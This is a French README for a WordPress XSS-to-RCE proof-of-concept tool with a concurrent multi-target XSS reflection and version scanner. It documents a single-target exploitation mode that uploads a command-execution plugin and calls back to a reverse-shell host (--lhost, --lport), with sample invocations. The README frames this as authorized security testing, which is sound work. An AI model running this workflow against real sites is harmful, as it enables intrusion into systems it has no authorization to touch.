
Scanner WordPress autorisé de type XSS-vers-RCE avec détection simultanée de réflexion XSS multi-cibles et d'empreinte de version, ainsi qu'un flux de travail d'exploitation optionnel.
Développeur : YogaGymn
Utilitaire PoC/scan pour des tests de sécurité WordPress autorisés. Le projet contient un workflow d'exploitation mono-cible et un mode multi-cibles concurrent scan-only.
Important : N'utilisez ce projet que sur des installations WordPress que vous possédez ou pour lesquelles vous disposez d'une autorisation explicite de test. Le scanner multi-cibles est intentionnellement limité à l'empreinte et à la détection de réflexion XSS ; il n'effectue pas de capture d'identifiants, d'upload de plugin ou de RCE contre une liste de cibles.
Le script original prend en charge :
auto, xss et direct.Le scanner ajouté prend en charge :
ThreadPoolExecutor.Le mode multi-cibles n'appelle pas les fonctions RCE originales.
requestsInstallez la dépendance :
python3 -m pip install requests
Si votre distribution Linux utilise un environnement Python géré de manière externe, utilisez un environnement virtuel :
python3 -m venv .venv
source .venv/bin/activate
pip install requests
Clonez ou copiez le projet :
git clone https://github.com/yogaGymn/XSS2Shell-CVE-2026-64638
cd XSS2Shell-CVE-2026-64638
Ou placez simplement :
xss2shell.py
dans votre répertoire de travail.
Créez un fichier nommé targets.txt :
https://example1.test
https://example2.test
https://example3.test
Les commentaires et les lignes vides sont ignorés :
# Authorized lab targets
https://example1.test
https://example2.test
Exécutez le scanner :
python3 xss2shell.py -i targets.txt
La concurrence par défaut est de 10 workers.
Par exemple, utilisez 20 workers :
python3 xss2shell.py -i targets.txt --workers 20
Pour un petit laboratoire :
python3 xss2shell.py -i targets.txt --workers 5
Ne choisissez pas un nombre de workers inutilement élevé, car cela peut augmenter la charge de connexions et déclencher un rate limiting ou des contrôles défensifs.
python3 xss2shell.py \
-i targets.txt \
--workers 10 \
--output results.txt
[*] Multiple-target scan: 3 target(s)
[*] Concurrent workers: 10
[*] Scan-only: WordPress fingerprint + XSS reflection check
[*] No login, plugin upload, credential capture, or RCE
[1/3] https://example1.test | WP=6.8.2 | XSS=XSS_NOT_DETECTED (ESCAPED)
[2/3] https://example2.test | WP=6.7.1 | XSS=XSS_REFLECTION_DETECTED (AREA_BYPASS)
[3/3] https://example3.test | WP=unknown | XSS=XSS_NOT_DETECTED (NOT_REFLECTED)
=======================================================
MULTIPLE-TARGET SCAN COMPLETE
=======================================================
Total targets : 3
XSS detected : 1
Not detected : 2
Errors : 0
Results saved : scan_results.txt
Le fichier scan_results.txt par défaut utilise des champs séparés par des tabulations :
TARGET WORDPRESS_VERSION XSS_STATUS XSS_DETAIL
Exemple :
https://example1.test 6.8.2 XSS_NOT_DETECTED ESCAPED
https://example2.test 6.7.1 XSS_REFLECTION_DETECTED AREA_BYPASS
Statut Signification
XSS_REFLECTION_DETECTED Le scanner a détecté le comportement
de réflexion HTML testé. Cela ne
constitue pas en soi une preuve de RCE.
XSS_NOT_DETECTED La réflexion testée n'a pas été
détectée.
ERROR La vérification a rencontré une exception.Le scanner peut rapporter des détails tels que :
RAW_HTMLAREA_BYPASSESCAPEDSTRIPPEDNOT_REFLECTEDCes valeurs décrivent la réponse observée par la routine de détection ; elles doivent être validées manuellement avant de considérer un résultat comme une vulnérabilité confirmée.
Le script original prend également en charge les arguments pour une cible unique.
python3 xss2shell.py \
-u admin \
-p 'PASSWORD' \
http://authorized-target.test
python3 xss2shell.py \
--mode direct \
-u admin \
-p 'PASSWORD' \
http://authorized-target.test
python3 xss2shell.py \
--mode xss \
--lhost 192.0.2.10 \
http://authorized-lab.test
Les workflows XSS/direct peuvent créer ou activer un plugin contenant une fonctionnalité d'exécution de commandes. Ne les utilisez qu'à l'intérieur d'un environnement de test autorisé.
usage: xss2shell.py [-h]
[-i TARGET_FILE] [--output OUTPUT] [--workers WORKERS]
[--mode {auto,xss,direct}]
[-u USERNAME] [-p PASSWORD]
[--lhost LHOST] [--lport LPORT]
[--slug SLUG] [--callback-port CALLBACK_PORT]
[--no-rev]
[target]
Argument Description
target URL cible unique.
-i, --input Fichier contenant plusieurs cibles.
--output Fichier de sortie pour les résultats
multi-cibles. Par défaut :
scan_results.txt.
--workers Nombre de workers concurrents.
Par défaut : 10.
--mode Mode original mono-cible :
auto, xss, ou direct.
-u, --username Nom d'utilisateur WordPress pour le
workflow direct/fallback original.
-p, --password Mot de passe WordPress pour le
workflow direct/fallback original.
--lhost Hôte de callback/reverse-shell pour
le PoC original.
--lport Port du reverse-shell. Par défaut :
4444.
--slug Slug du plugin. Par défaut :
xss2shell.
--callback-port Port du serveur de callback. Par
défaut : 9090.